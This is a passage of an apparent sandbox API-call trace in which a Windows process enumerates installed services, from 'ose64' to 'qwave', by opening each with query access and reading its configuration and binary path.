lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose64", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose64", cchWideChar=5, lpMultiByteStr=0x1e68bb8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose64", lpUsedDefaultChar=0x0) returned 5 [0249.262] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="ose64", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.262] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.262] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.263] GetLastError () returned 0x7a [0249.263] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x1e68c00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0249.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc", cchWideChar=7, lpMultiByteStr=0x1e68c00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osppsvc", lpUsedDefaultChar=0x0) returned 7 [0249.264] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="osppsvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.267] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.267] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.268] GetLastError () returned 0x7a [0249.268] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x1b0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc.exe", cchWideChar=11, lpMultiByteStr=0x1e68c48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osppsvc.exe", lpUsedDefaultChar=0x0) returned 11 [0249.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2pimsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2pimsvc", cchWideChar=8, lpMultiByteStr=0x1e68c48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p2pimsvc", lpUsedDefaultChar=0x0) returned 8 [0249.269] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="p2pimsvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.269] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.269] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.270] GetLastError () returned 0x7a [0249.270] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68c90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2psvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2psvc", cchWideChar=6, lpMultiByteStr=0x1e68c90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p2psvc", lpUsedDefaultChar=0x0) returned 6 [0249.271] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="p2psvc", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.271] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.271] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.272] GetLastError () returned 0x7a [0249.272] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68cd8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pcasvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pcasvc", cchWideChar=6, lpMultiByteStr=0x1e68cd8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pcasvc", lpUsedDefaultChar=0x0) returned 6 [0249.273] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="PcaSvc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.273] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.273] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.274] GetLastError () returned 0x7a [0249.274] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x15c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68d20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peerdistsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peerdistsvc", cchWideChar=11, lpMultiByteStr=0x1e68d20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peerdistsvc", lpUsedDefaultChar=0x0) returned 11 [0249.275] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="PeerDistSvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.275] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.275] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.276] GetLastError () returned 0x7a [0249.276] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x11a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68d68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost", cchWideChar=8, lpMultiByteStr=0x1e68d68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="perfhost", lpUsedDefaultChar=0x0) returned 8 [0249.277] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="PerfHost", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.277] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.277] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.278] GetLastError () returned 0x7a [0249.278] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x124, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost.exe", cchWideChar=12, lpMultiByteStr=0x1e68db0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="perfhost.exe", lpUsedDefaultChar=0x0) returned 12 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x1e68db0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0249.279] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="pla", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.279] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.279] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.280] GetLastError () returned 0x7a [0249.280] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68df8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plugplay", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plugplay", cchWideChar=8, lpMultiByteStr=0x1e68df8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plugplay", lpUsedDefaultChar=0x0) returned 8 [0249.281] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="PlugPlay", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.281] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.281] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.282] GetLastError () returned 0x7a [0249.282] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x10a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68e40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpautoreg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpautoreg", cchWideChar=11, lpMultiByteStr=0x1e68e40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnrpautoreg", lpUsedDefaultChar=0x0) returned 11 [0249.282] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="PNRPAutoReg", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.283] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.283] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.284] GetLastError () returned 0x7a [0249.284] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x166, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68e40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpsvc", cchWideChar=7, lpMultiByteStr=0x1e6f8d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnrpsvc", lpUsedDefaultChar=0x0) returned 7 [0249.284] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="PNRPsvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.285] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.285] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.286] GetLastError () returned 0x7a [0249.286] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x158, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6f8d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policyagent", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policyagent", cchWideChar=11, lpMultiByteStr=0x1e6f918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policyagent", lpUsedDefaultChar=0x0) returned 11 [0249.287] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="PolicyAgent", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.287] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.287] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.288] GetLastError () returned 0x7a [0249.288] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x160, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6f960, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="power", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="power", cchWideChar=5, lpMultiByteStr=0x1e6f960, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="power", lpUsedDefaultChar=0x0) returned 5 [0249.289] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Power", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.289] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.289] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.290] GetLastError () returned 0x7a [0249.290] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0xfa, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6f9a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="profsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="profsvc", cchWideChar=7, lpMultiByteStr=0x1e6f9a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="profsvc", lpUsedDefaultChar=0x0) returned 7 [0249.291] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="ProfSvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.291] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.291] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.292] GetLastError () returned 0x7a [0249.292] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6f9f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protectedstorage", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protectedstorage", cchWideChar=16, lpMultiByteStr=0x1e6f9f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protectedstorage", lpUsedDefaultChar=0x0) returned 16 [0249.293] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="ProtectedStorage", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.293] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.293] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.294] GetLastError () returned 0x7a [0249.294] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0xec, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e6fa38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qwave", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 